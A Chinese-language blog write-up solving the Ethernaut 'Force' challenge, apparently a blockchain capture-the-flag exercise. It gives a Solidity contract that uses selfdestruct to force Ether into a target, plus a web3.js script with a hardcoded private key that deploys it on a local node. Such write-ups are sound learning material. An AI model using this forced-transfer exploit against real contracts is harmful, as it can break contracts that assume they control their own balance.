blockchain | ethernaut 07 Force

Mz1 / 2023-09-02 / 原文

blockchain | ethernaut 07 Force

考察给一个合约强制转账，在一个合约selfdestruct()的时候是可以指定转账地址的。

exp:

hack合约：

pragma solidity ^0.8.0;
contract Hack {
    constructor() payable public {
    }
    function exp(address addr) public {
        selfdestruct(payable(addr));
    }
}

创建的时候收钱然后转走就行了。

交互(部署模块似乎写的不是很灵活，js的默认参数是按顺序来的不能直接指定emmm)：

const Web3 = require('web3');
const fs = require('fs');
const deploy = require('./Deploy.js');   // 导入部署模块

const rpcURL = 'http://127.0.0.1:8545';
//const addr = '0xda8e0A6Becd46E3C1d25BEbcc0E8f6723Cf2F924';
const web3 = new Web3.Web3(rpcURL);    // 链接网络节点

const privateKey = '0x957c03cef7400defc7585d5dd81c48455557aa29c12c627ad0fd17d73effe696';
web3.eth.accounts.wallet.add(privateKey);
const wallet = web3.eth.accounts.wallet[0];
console.log(wallet)
var money = 0;
web3.eth.getBalance(wallet.address).then((res)=>{console.log(res); money=res});

let exp = async function(){
	let aim_contract_addr = "0xdbF72e0528680A3FB996cfa80690ADc780A1F96d";
	let contract = await deploy("contracts/Hack.json", web3, wallet, a_gas=1000000, gaasPrice=10000000000 ,a_value=10000);
	let ret = await contract.methods.exp(aim_contract_addr).send(
			{
					from: wallet.address,
					gas: 1000000,
		            gasPrice: 10000000000,
		    }
		);
	console.log(ret);
	let balance = await web3.eth.getBalance(aim_contract_addr);
	console.log(balance);
}
exp();